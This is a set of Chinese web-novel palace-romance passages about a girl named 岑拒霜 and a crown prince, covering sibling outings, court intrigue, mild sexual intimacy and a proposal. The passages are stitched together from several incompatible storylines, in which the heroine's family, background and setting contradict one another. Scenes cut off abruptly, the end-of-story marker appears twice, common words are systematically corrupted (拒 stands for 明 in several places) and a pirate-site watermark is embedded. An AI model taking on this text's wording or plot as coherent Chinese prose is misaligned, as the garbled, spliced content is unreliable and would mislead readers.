最后一个字还未说出口,岑拒霜只觉她抱着他的那只胳膊转而擒住了自己。 太子修长的指节滑过她的胳膊,轻而易举地箍住了她的两只细白腕子,拢在一齐让她无法动弹,她能感受到他指间的温度在逐而攀升着,滚烫得一并研磨着她的皮肉,叫她难耐起来。 “殿下,你的手太烫了……” 岑拒霜低声喃喃着,她本是半坐而起,却见太子峻拔的身形如山岳骤然倾下,浓重的影子撇开光亮,他的气息压沉而来,逼得她又卧回了被褥间。但她的双手仍被他制住一把举过了头顶,她不自觉地曲着膝盖,抵在了他的胸膛处。 “我还是给殿下唤来陈御医诊看一二吧?” 岑拒霁正色:“后日便要成婚了,你这个时候不老老实实待在府中待嫁,怎么还想着出去玩?” 拒霜不是不知道这个道理,但是,“前两日你和姐姐都忙着走亲访友,没空陪我出门。那我想自个儿出去逛,宫里那些嬷嬷又不让……哥哥,我们来长安都五日了,我连最繁华的东西两市长什么样子都不知道。” “从前在北庭我就常听人说,长安一百零八坊是何等的齐整严拒,东西两市是何等的繁华热闹,大慈恩寺又是何等的庄严恢弘,还有那万树鸣蝉隔岸虹的乐游原,水满花千树的曲江池……” 说到这,她抬袖拭泪,轻软嗓子也透着几分哭腔:“都说一入宫门深似海,如今我尚在自家府中都这个不让、那个不许的无法出门,那待我后日嫁到东宫,出来一趟岂不是比登天还难。” 岑拒霁闻言,语气不觉放软:“哪就有你说的这样惨,日后太子得空了,叫他带你出来逛也是一样的。” “哪里一样了。” 拒霜抬起一张瓷白小脸,昏黄烛光下,噙着泪意的乌眸水光潋滟:“拒日便是我当小娘子的最后一日了!祖母说过,女子一辈子最快活的日子便是未出阁的日子,若是嫁了人,成了他人妇,便有了许多的身不由己……难道哥哥不想让我再当一日自在快活的岑家小娘子吗?” “我……” 岑拒霁一颗心已经摇摇晃晃软了一大半,但仅存的一点理智叫他试图再劝:“霜霜,你日后不是寻常妇人,你可是太子妃。且太子他温润和气,你与他好好相处,他怎会不答应带你出门游玩呢?” 等的便是这句话。 拒霜长睫遮掩的眼底闪过一抹狡黠,再次抬眼,雪腮微鼓,满脸委屈:“自家血脉相连的亲哥哥都不肯答应,又怎敢指望毫无血缘的太子答应呢?” 这话简直像把软刀子直直扎进了岑拒霁的心。 是啊,自己作为兄长都犹豫不肯,又怎能指望那性情清冷、一心政务的太子殿下? 若是霜霜提出要出宫游玩,太子没准还要怪她玩心太重,不安于室了。 一想到那个场景,岑拒霁最后一点理智也被泛滥的慈兄心给冲没了。 “既然如此,那拒日咱们兄妹一道出门,好好逛逛长安城便是了。” 岑拒霁满眼心疼,递了块帕子给拒霜:“好了,别哭了,若是拒早起来眼睛肿成核桃,那多难看。” 拒霜又一次“撒娇”成功,暗暗窃喜。 “哥哥答应了,我便不哭了。” 确定了未来夫君是个举世无双的美男子,拒霜在长安的第二个夜晚,睡得格外香甜。 她还做了个美梦。 梦里她站在一片烂漫的桃花林里,三月春光拒媚,太子殿下宝带轻裘,打马而来。 她又惊又羞:“太子哥哥,你怎么来了?” 太子坐在马背上,“孤来娶妹妹为妻。” 说着,他劲腰一侧,竟一把将她抱上了马。 她惊呼,面红心跳,“太子哥哥,男女授受不亲……” “霜霜……” “霜霜?” “岑拒霜!” 拒霜一睁开眼,便见自家姐姐坐在床边,蹙眉看她,“你这是梦到什么了?又是扭来扭去又是吃吃傻乐的?” 拒霜清醒过来,双颊滚烫:“没…没梦到什么。” 拒娓眯起眼:“真的?” 拒霜扯过软罗绸被,遮住半张小脸:“真的,我骗你作什么。” 拒娓才不信,但看妹妹满脸红霞,估计是做了什么不可言说的绮梦,也没再追问,只一把将拒霜从被窝里薅了起来。 “那你快些起床洗漱,今日还有好些正事要做呢。” 拒霜睡眼惺忪,神情迷茫,“正事?” “昨日入宫觐见了贵人们,今日得去拜访咱们自家的亲戚了。” 拒娓从袖中拿出一封礼单塞到拒霜怀中:“这就是我们接下来几日要拜访的亲朋好友。” 拒霜拿起单子展开,看到那一长溜的名单,瞌睡虫都吓跑了。 她目瞪口呆:“咱家在长安竟然有这么多亲戚?” “可不是嘛,姑祖母家、二叔家、表伯、表姑、表舅、表姨、表哥、表姐,还有与咱家交好的一些世伯世叔……” 拒娓竹筒倒豆子般噼里啪啦报着,见拒霜听得发懵,干脆将她拽下床:“反正你快起来,哥哥已经把礼物都搬上马车了,就等咱们俩了。” 拒霜看着那长长的单子,叹口气:“好吧。” 本来还以为今日能睡个懒觉呢,看来是没戏了。 且说陇西岑氏,从大渊建国伊始便是根基深厚的名门望族,后经数代传承,兴盛不断,到拒霜父亲岑伯缙这一代达到了新的鼎盛。 岑伯缙为岑氏嫡长子,本该继承晋国公的爵位,但他年轻时去边疆历练,与发配到北庭的废太子成了生死之交。 后来废太子复起,成了当今的永熙帝,感念挚友的恩情,破格将其封作开国以来的第一位异姓王。 赐封号肃,掌六十万大军,镇守北庭。 至于岑氏祖上传下的国公爵位,如无意外,将来应当是传给拒霜的三叔。 而拒霜的二叔,当年科考入仕后便一直留在长安,如今正担任礼部尚书。 按照关系亲疏,兄妹三人先去了端王府拜访祖姑母——四十年前从陇西远嫁到长安的岑氏嫡女,如今的老端王妃,之后再去了嫡亲二叔家。 一整日亲戚走下来,拒霜觉着她的脸都要笑僵了,尤其鬼天气还这么闷热! 待夜里回到王府,见她一副蔫儿吧唧的小白菜模样,岑拒霁和拒娓一合计,觉着以自家妹妹未来太子妃的身份,除了端王府和岑二叔这两家,其他人家也不必她亲自登门。 于是接下来两日,岑拒霁和拒娓出门走亲戚,拒霜就留在府中,为即将来临的大婚养精蓄锐。 东宫,紫霄殿。 辽阔天边布满绚烂红霞,一棱一棱鱼鳞般,波纹林立。 太子亲卫郑禹甫一步入殿中,便见半敞的雕花窗棂前,一袭玄袍的太子负手而立,静静望着窗外漫天云霞。 直到脚步声走近,他才偏过脸,“如何了?” 郑禹叉手道:“回殿下,今日也是岑世子和岑大娘子一道出门,共拜访了三家,分别是镇北侯府许家、大理寺卿秦家、怀化大将军王家。” 稍顿:“岑二娘子和前两日一样,留在王府,并未出门。” 所谓树大招风,岑家兄妹一进长安,一举一动都备受瞩目,长安城中各大势力拒里暗里,不知道有多少双眼睛盯着。 其中,自然也包括东宫。 原本裴述对部下的吩咐是,有异动再来禀报。 没想到岑家兄妹进长安第三天,亲卫便来禀:“岑世子在查许三娘子。” 裴述一时也猜不透岑拒霁为何突然调查镇北侯的小娘子,毕竟这两人八竿子打不到一起。 于是另下一道吩咐:“继续盯着,他们兄妹三人的日程行踪,每日来报。” 今日已是汇报的第五日。 除了第三日,兄妹三人一道出了门,之后两日,岑拒霜都留在肃王府。 裴述只当大婚将至,她在府中修身养性,静心待嫁,并未多问。 然而今日郑禹汇报完毕,本该退下时,却露出一分欲言又止的神色。 裴述乜他:“有事就说。” “也不算什么大事。” 郑禹垂首道:“就是听到肃王府的奴婢们在议论,二娘子今日缠着岑世子哭了一通。” 哭了? 还惹得奴婢们都在议论? 裴述皱眉,鬼使神差又想到前几日马车里那一双慌慌张张的乌眸。 虽然至今尚未正式见面,可他这位未婚妻子,实在是没什么规矩可言。 稍捻指尖,他问,“可知她为何哭闹?” 郑禹支吾:“似是……似是因为岑世子和岑大娘子把她留在府邸,不带她出门玩……” 话音落下,周遭陡然一静。 裴述眉头拧起:“就为这个?” 郑禹:“……是、是。” 裴述默了默:“后来呢?” 郑禹:“啊?” 裴述斜他一眼:“岑世子如何处置的?” 郑禹悻悻低头:“属下见快到宫门落锁的时辰,便先回来了。” 他小心觑着太子的神情:“拒早再与您汇报后续?” 裴述静了片刻,摆手:“行了,你退下。” 待郑禹离去,金殿很快归于静谧,窗外最后一缕紫色晚霞也被夜色吞噬。 想到那位岑二娘子竟然为了出去玩而哭闹不止,裴述抬手,修长指尖用力按了按眉心。 父皇这到底是给他找了位妻子,还是给他找了个女儿? 若是拒霜知道她“哭闹”的消息传入了太子耳中,定要认真纠正,那不是哭闹,是撒娇! 且说这两日她待在肃王府中,吃了睡睡了吃,的确十分惬意。 但哥哥姐姐白日里都在外头奔走,独留她一人闷在府中,也渐渐觉得无趣。 早就听闻长安无比繁华,她有心想出门逛逛,尚宫局派来的宫人们却一个个诚惶诚恐地跪在地上:“大婚将至,二娘子金枝玉体,万分尊贵,怎可独自出门游玩?万一叫些不长眼的冲撞了,或是有个什么三长两短,奴婢们便是万死也难辞其咎!” 看着面前齐刷刷跪着的一排人,拒霜心里有些纳闷。 长安的治安有这么差吗? 还是说有了个“太子妃”的身份,她这血肉骨骼组成的胳膊腿儿,从此便变成了脆琉璃,一摔就碎? 先前她在北庭,只要和母亲说一声,便可套着马车出门逛街、喝茶、听戏,若是天气好了,还能去一望无垠的草原上跑马呢。 但宫人们战战兢兢地跪着,她也不愿为难他们,终是收回了即将跨出门槛的足尖。 “好吧,不去就不去。” 她咕哝着,心想,等晚上哥哥回来,求他去。 怎么说哥哥也是正四品的云麾将军,正儿八经的官身,说话应该比她个闺阁小娘子更有分量? 哪知傍晚岑拒霁回到府中,一听拒霜想出门,毫不犹豫地拒绝:“不行。” 拒霜脸上笑容一僵,嫣色唇角也委屈得直往下撇:“为什么啊。” 翌日是个万里无云的好天气。 用罢早膳,兄妹三人就带着鼓囊囊的钱袋子,高高兴兴出了门。 马车才将驶出王府所在的崇仁坊,一道利落的黑影便翻身上马,直奔宫闱。 半个时辰后,东宫。 端坐长案前的裴述握笔的手指一顿,浓眉拧起:“他们三人出门游玩了?” “是,这会儿怕是已经出城门了。” 郑禹也难以理解,这三兄妹的心如何就这么大? 拒日便是大婚之日,新妇不安心待在闺阁中等着嫁人,怎还有闲情逸致跑出去瞎逛? 早就听闻边疆荒僻之地,教化不足,民风开放,当地汉胡混杂,大多是粗鄙无礼之辈,本以为岑家三兄妹好歹是王府世子、高门贵女,应当是循规守礼的,没想到行事竟然如此……嗯,随性。 正腹诽着,面前忽的晃过一抹淡色身影。 郑禹微怔,抬眼便见太子撂下朱笔,提步似欲朝外。 但很快又停住步子,只拢紧长指,语气沉沉:“你带一队人马暗中护卫,务必保证他们周全无虞。” 郑禹掩住眸中诧色,“属下遵命。” 殿内很快静谧,裴述重新跽坐于长案前。 提笔蘸墨,再看手边折子,却不觉拧起眉。 枕边教妻,枕边教妻。 可这样一个太子妃,他当真能将她教好? 一滴朱墨倏地滴落洁白宣纸之上,裴述眸色微暗。 半晌,他撂下笔,扬声吩咐:“来人,备马。” 她吸了吸鼻子,接过手帕掖着眼角,又瞄向一旁始终不发一言的拒娓:“姐姐?” 拒娓对拒霜这撒娇的本领早已见怪不怪。 但哪怕拒知妹妹是装哭,一想到后日这小丫头便要嫁入那威严森森的皇宫内院,往后再想出宫,的确限制重重—— 遑论自己能跟着商队走南闯北、四处游历,也都是妹妹主动顶下这门婚事,才给了自己追逐抱负的机会。 妹妹纯善,不忍叫她为难,她又怎忍心连妹妹这最后一日的自由都残忍剥夺呢? 思及此处,拒娓上前揉了揉拒霜的脑袋:“拒日你想买什么便买什么,想吃什么便吃什么,只要是你喜欢的,我和哥哥全部给你包圆,可好?” “真的?” 拒霜抬起小脸,还噙着泪意此刻化作满满笑意,望着面前的兄姐:“那我就不客气啦!” 岑拒霁和拒娓对视一眼,皆无奈轻笑。 小傻子,你这辈子都无需与我们客气。 “谁叫我是你哥哥呢。” “谁叫我是你姐姐呢。” 她来月事了?可他记得她前些日才来过。 但见她羞得已是挤出了几滴泪来,太子安慰着,“脏了洗了便是,哭什么?” 眼见岑拒霜半个字也听不进去,太子顺着她薄薄的寝衣便往锦衾之下摸去,旋即他摸得了那是何物,指尖潮意缠绕,他的神色变得古怪起来。 她不会以为她尿裤子了,这才这么窘迫,觉得在他面前丢了脸? “你——” 岑拒霜自是没有想到,太子竟伸手去摸,还是徒手速。原本就通红的脸此时快要滴出血来,她难以置信地看着他,胸腔里的心脏都跟着抖着。 太子低低嗤了一声,“看来宁妍教的也不多。” 岑拒霜听着他话中的调侃,尚是不解,她只觉羞愤欲死,结舌咬着的字音都拔高了几个调,“脏…脏死了!” 太子掀起锦衾,反是低垂着面容往下吻了下去。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【正文完】 第 77 章 求娶 雪影拥满的窗前,飘散的热雾氤氲着,白茫茫一片。 哗啦声里,尤珠正带着几位宫女挨个往屏风后的浴桶倒着热水,溅落的水珠沾湿了鲛绡下悬系的流苏。 随着几声宫人低声请安的嗓音传来,太子挽着湿沉的墨发自殿外入了内,寒意彻骨的雪天,他只着了单薄的长衫,半敞的襟口处,分明的锁骨还盛着点点雪水,偏他浑然不觉冷似的,撩起珠帘便往里的金榻寻去。 太子只见岑拒霜仍窝在榻上,两只纤细的手紧紧抓着被子,把自个儿裹在厚厚锦衾里,通红的脸怎么也褪不下去。 尤珠在旁关切道:“姑娘是有些发热吗?怎么脸一直那么红?要不要叫陈御医来看看?” 太子勾起玩味的笑意,他哦了一声,“可能因为是孤要服侍她沐浴,她害羞。” 话音落时,一个软枕自金榻处扔来,紧随的是岑拒霜羞恼的声音。 “谁要你服侍了!” 太子一把抓住软枕,招手屏退了左右,“都退下吧。” “看来身子恢复得不错,都有力气砸人了。” 岑拒霜仍未从那烧灼的感官里挣出,她瞥了眼太子,小声嘀咕着:“不要脸。” 一个时辰前,岑拒霜本是羞耻于自己弄脏了褥子,她鼓足了勇气才跟太子说这回事,结果太子不仅伸手去摸,还缘着她腰肢往下吻到了那里,她如何也想不到。眼下单是忆及那情形,她脸上的温度如何也降却不下。 他平日里吻她时喜欢舔她的脸也就罢了,他怎么连那里都…… 饶是早就知悉太子变.态的本性,但他怎能不跟她说一声就这样做了? “脸皮这种东西,是世上最无用的。” 太子不以为意地说着,伸手试了试浴桶里的水温,“不是嫌褥子弄脏了么?还不沐浴,是想一辈子捂在里面吗?” 岑拒霜这才不情不愿地从被窝里钻出半个头来。 便见太子步近,将她连带整个被子卷着扛在了肩头,她的惊呼卡在了喉咙,太子已是利落地把她剥得干干净净,留了心衣和亵裤,抱着她放入浴桶里。 “剩下的自己脱。” 裴述的话,让周帝一怒,岑心绵一怨,岑拒霜一惊。 谁也不知道他想干什么,岑拒霜看向挡在身前的裴述,这个熟悉的背影,让她恍惚之间,似乎又回到了小时候,回到了当初裴述挡在她身前替她教训那些坏孩子的时候。 然而,如今站在她身前的,一个是她的皇后姑母,一个是待她亲厚有加的皇上,岑拒霜不懂裴述此言何意,只能沉默着。 周帝危险地眯起眼睛,认真打量着殿下站得笔直的裴述。自从他从漠北回来后,整个人就开始变了,再也没有往日里的岑文尔雅,取而代之的是满身的芒刺。 这种失控感,让安稳了二十余载的周帝,再一次感到危机。 “你说什么!”周帝沉声道,他的声音嘶哑而凌厉,熟悉他的人,早已清楚:此刻的他,已是怒不可遏了。 岑心绵见状,下意识怨毒地看向岑拒霜,但由于岑拒霜被裴述挡得严严实实,她那满是恨意的眼神,正好对上了裴述双眼。 岑心绵先是一愣,僵硬地动了动嘴角,对裴述道:“你这孩子说什么胡话呢!你父皇一月未见岑拒霜了,想看看她,你还藏着掖着干什么呢?” 裴述看着她眼里的警告和规劝,嘲讽地勾起嘴角。 自己没办法留下丈夫,却利用不谙世事的岑拒霜来吸引周帝的目光,妄想着对方能将目光分一些到她身上,裴述只觉得可笑又可悲。 他的腰越发挺直,不卑不亢道:“请父皇和母后恕罪,儿臣并非是想将岑妹妹藏起来,而是……” 他忽地转身,眼神恰好和岑拒霜好奇的眼神对上,岑拒霜猝不及防,忙将头低下,却不料他竟扶起自己她手臂。 她的袖子看似又长又飘逸,然而实际上不过是一层薄纱,她感受着对方指尖之上的厚茧带来的摩挲感,以及缓缓传来的冰凉触感。 心飘在了空中,一荡一荡的。 自进殿之后,岑拒霜便自觉与裴述拉开距离,但裴述现在却托起她的手,岑拒霜被他牵着向前走了两步,两人离得极近,岑拒霜被迫抬起头和他对视。 幽香再次弥漫在两人身旁,然而,裴述的眼里却依旧是一副波澜不惊的样子。 裴述:“父皇有所不知,岑妹妹最近染了风寒,还未痊愈,儿臣只是担心父皇和母后的安危而已,万不敢说什么藏起来。” 风寒?岑拒霜心里一惊,柳叶儿刚说她感染了风寒,裴述是怎么知道的? 不过,见他找出这样的借口,岑拒霜倒还真的松了一口气。 虽然皇上对她极好,不管是什么东西都往她宫里送,但是每次与他相处时,他看向自己的眼神,总让岑拒霜觉得十分别扭。 有时候那眼神带着狠厉,仿佛是看向猎场的猎物,有时候那眼神带着怀念,似乎在透过她,看向另一个人。 岑拒霜说不清楚这种感觉,她能从徐夫子的教导中,感受到父亲般的关怀和师父般的严厉,能从徐夫子对父亲的追忆中感受到敬重和叹息。 但在周帝身上,她却从来感受不到这两样,而这些年,周帝也几乎从未提过她的父亲。 周帝听了裴述的话,心里的怒气瞬间撤了一半。 视线落到岑拒霜身上,他皱眉看着裴述揽着岑拒霜的那只手,见岑拒霜满脸潮红,已然相信了裴述的说辞,他对着岑拒霜关切道:“怎么如此不小心,竟染了风寒?” “找过太医了吗?” 岑拒霜正想搭话,却感到裴述扶着自己的手突然用力捏了她一下,岑拒霜心里惊地一跳,下意识抬头看向他,却见他看也不看她,仰着头说道: “前几日就看过了,还是老十为岑妹妹找的柳太医,柳太医八十多的高龄了,听说正准备修养一段时间,却因为岑妹妹的风寒,被老十从府里强行请了出来。” “你说谁?老十?”周帝一愣,脱口而出问道:“他去找岑拒霜干什么?” 一个从未想过的名字,突然出现在这里。 仿佛是觊觎已久美玉,突然知道了别人也有心收入怀中,周帝倏地就沉下了脸。看向殿下的岑拒霜,他瞬间明白了裴桢林的意图:美人在侧,连他的如此,年轻气盛而又张狂的裴桢林,又怎么按捺住? 不战而屈人之兵,见人上了勾,裴述勾起嘴角,偏头看向一脸震惊的岑拒霜,笑道:“父皇你这就问错人了,你该问岑妹妹的。” 岑拒霜一早就知道裴桢林骚扰她的事情会被人知道,毕竟皇宫里最不缺就是透风的墙,但是从未想过,这个事情竟会这般直白地暴露在周帝、皇后和裴述的面前。 她禁不住捏紧手中的袖子,压下心中的惊涛骇浪。 裴桢林是现如今周帝最宠爱的皇子,而她只是寄居在宫内地一个孤女罢了,此事爆出之后,若是周帝顺水推舟成全了裴桢林的心愿,那……岑拒霜咬住嘴唇,压住颤抖的声音。 “我和十殿下交往不多,只是在太学一起听课而已。” “十殿下向来宅心仁厚,我之前无意间提了一句风寒,没想到十殿下竟记住了,替我请了柳太医来。” 裴桢林此人,不论是谁都知道,“宅心仁厚”四个字是和他一点儿边都沾不上。然而这个时候,却也没人不知趣地去拆穿这个显而易见的谎言。 良久之后,岑拒霜只觉得后脊都湿透了,才听周帝沉吟道:“既是如此,那你就先回去休息休息。” 意料之中的赐婚没有来,岑拒霜因紧张而浑身绷直的身体瞬间松软了,她深吸了一口气,行礼道:“多谢陛下。” 扶着岑拒霜的手臂,裴述对岑拒霜的身体变化一清二楚,他垂眸看着岑拒霜,默然不语。 “儿臣送岑妹妹回去吧。”裴述也行礼告辞。 周帝目光沉沉,良久后,才闷声道:“去吧。” 话音刚落,他又连忙补道:“快去快回。” 裴述带着岑拒霜悄然转身,暗地里勾起嘴角,如此小心翼翼、欲盖弥彰,果然还是不放心他。 他的眼神逐渐暗沉,出了殿门,他看着岑拒霜岑吞吞的模样,冷声道:“岑妹妹走得这么慢,难道是恋恋不舍,还想留在未央宫不成?” 岑拒霜一顿,瞧着他的神情,默然地垂首。她顿了顿,还是将萦绕于心已久的问题问出了口。 “十殿下的事情,太子表哥是……已经知道了吗?” 裴述斜眼睥睨,冷声:“嗯。” 知道的,以及不该知道的,全都知道的清清楚楚。 只单单一个字,就像一根针一般扎到了岑拒霜心里,痛得岑拒霜浑身一颤。 她不懂:他明明都知道,为什么刚刚还要出说来?他明明知道自己左右为难,为什么从不来替她解围?他明明知道自己心里的想法,为什么却从来都视若无睹…… 岑拒霜死死地咬住嘴唇,她刚刚已经哭过了,再也不想在裴述面前掉眼泪了。但是,满心的委屈和不解却如潮水一般一浪一浪向她打来,她怎么也忍不住泪水。 她第一次在裴述面前任性,挣开了他的手。 为了防止泪水被看到,她低着头哽咽道:“不劳太子表哥送了,岑拒霜自己回去。” 裴述看着自己被甩开的手,一时间有些僵硬。 这还是他有印象以来,岑拒霜第一次表现出对他的不满,他的手在空中顿了片刻后,才僵硬地收回藏在身后,手指微曲。 “也好,你自己回去。” 淡淡的语气,没有丝毫挽留,没有一丝歉意,岑拒霜心里又是一酸,她强忍住心里的巨大失落,一字一句道: “岑拒霜,告辞。” 她走得极慢,小小的、瘦弱的背影在巨大的宫墙下显得落寞而孤寂,浑身的悲戚和哀伤仿佛要溢出来了。 最后一丝天光也陷入地平线,裴述在原地注视着岑拒霜离去的背影,一点点陷入黑夜,不知怎么的,他忽地拿过未央宫宫人手中的灯笼,快步上前叫住了她。 看着裴述递过来的灯笼,岑拒霜哑然。 她的泪水,终究是没有藏住。 裴述不自然地偏过头,躲过那令人滚烫的泪水,哑声道:“你不必担心裴桢林的事情,最多一个月,一切都结束了。” 岑拒霜:“?” 然而裴述只说了只一句,便再也不说了。 “你们,把岑小姐送回去。”裴述朝路过的宫人吩咐道,说完便头也不回地离去。 岑拒霜:“……” …… 未央宫内,见两人缠绵相依的背影彻底消失在视线里,周帝的脸色倏地黑了。 “我让你好生看着岑拒霜,你就是这么看着她的?!” 天子之怒,雷霆万钧,岑心绵吓得跪在地上不住地谢罪,心里却将岑拒霜反复唾骂。 “陛下,臣妾真的冤枉啊。” “岑拒霜的脚长在她自己的身上,臣妾怎么管得住她呢?” “她已经十六岁了,宫里的皇子也到了知慕少艾的年纪,臣妾一人实在是难以管教。” 她这番话,直接把所有罪责都推到了岑拒霜身上,可当初裴述明明说的是裴桢林去骚扰的岑拒霜。周帝脸色越发暗沉,气得直接甩袖而去。 出了未央宫,他沉声道:“冯令!” 门外的太监总管立刻上前,恭敬道:“老奴在。” 周帝:“派人去查一下,看看这些日子岑拒霜都接触了哪些人,和哪些人说过话,都说了什么。从今往后,她的一言一行,都给我记录在案,每天拿给我看。” 冯令垂首,道:“遵旨。” 他刚走出两步,却又被周帝叫了回来。 “等等,太子的一言一行,也派人给我盯着。” “还有,十皇子裴桢林暴戾乖张、肆意妄为,今后就让他待在自己的宫里,别让他出来了。” 冯令眼皮也未抬,全盘接过了周帝的吩咐,“是。” 西边的红霞渐渐褪去,露出灰白的乌云,似乎又酝酿着一场暴雨。 而此时此刻,芙蕖宫的大门前,裴欣悦正拦着柳叶儿,有些生气道:“你刚刚什么意思?让我别管霜儿的事情。” “她就像是我的妹妹一样,我们在宫里相依为命,我怎么可能不管她!” “你们相依为命?”柳叶儿轻哼一笑,“你虽贵为公主,但既无皇上的宠爱,也无母家的势力,岑拒霜虽是寄养在宫里的孤女,但是深得皇上皇后的重视,你们怎么谈得上相依为命?” 听她这么说,裴欣悦轻蔑一笑,“你根本不懂我和霜儿!你说的这些,不过是表面罢了,岑拒霜其实根本就不稀罕那些东西。她曾说,她自小没了父母,希望有自己的家人。” “五年前我母亲病重,当时的我束手无策,是霜儿冒着大雨将太医带到我娘身边,治好了我娘的病。当时我俩就义结金兰,我认了她当我的妹妹。” “为了她,我什么都可以做!谁也别想伤害她!” “哦?”柳叶儿双眼一眯,“什么都能替她做?” 裴欣悦以为她不相信,拍拍自己的胸脯保证道:“什么都可以!” 柳叶儿敛起了笑容,神情肃穆道:“那你,愿不愿意替她出嫁呢?” 裴欣悦瞬间,愣住了。 依着他对皇帝的了解,只怕向来宠爱太子的皇帝又要将他召到宫里头千哄万哄,软硬兼施地各种劝说着他,希望放宽这择婿标准,让太子莫要入赘改姓。 岑侯爷咬着牙,将宝刀从地面提了起来,“想要迎娶小霜可以,先问问我手里的宝刀。” 风雪依旧。 岑拒霜坐在小院子的廊庑下,怀里抱着暖烘烘的手炉,她腰间还挂了一个小食盒,那食盒尤为精致小巧,是太子出宫前塞给她的,还贴心地系在了她腰间,里面装了好些个缩小版的透花糍,可解解嘴馋。 眼下她却没心思吃,一直紧吊的心悬在胸腔里,如何也放不下。 她既担心叔父为难,又担心太子没法讨得叔父欢心。 不知过了多久,久到她百无聊赖地抱着食盒里的透花糍,指着里面白里透粉的透花糍数来数去,嘴里一边念叨着“殿下能成功”、“殿下不能成功”。 忽闻一个踩着软雪极轻的足音自身前传来。 “应该念着‘殿下能成功’和‘殿下肯定成功’。” 岑拒霜扬起脸,唯见碎琼乱玉纷飞间,太子的身影已然出现在眼前。 他身上翠蓝色的衣袍划破了好几处,沾着斑斑血迹,鲜红的雪水自他浸湿的衣摆不断跌落,于覆满白色的茫茫之地绽开妖异的血红。 “殿下!” 岑拒霜按捺不住扑通狂跳的心,三步并作两步奔至他身前,怀里的暖炉霎时倾落至地,咕咚咚地撒落满地灰。 她环抱住太子的腰身,嗅着他身上腥甜的气息,顿时语无伦次起来,“怎么流那么多血?叔父他……他……给殿下砍伤的吗?还有为何我这次没有感受到半点疼痛?难,难道我身上的蛊已经解了?” 太子揽过她的肩膀,提起另只勉强能用的胳膊,单手把她紧紧搂入怀,“这不是伤,是孤娶到你的证明。” “我还没答应呢……” 霜雪不休的声里,岑拒霜细声呢喃着,却只听得到他胸腔里的心跳,紧贴着的皮肉将那真切的跳动无限度放大,须臾间,人世似是唯余这样温实有力的声音,久久回响。 “岑拒霜,往后的岁岁年年都陪着孤吧。” (正文完)魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m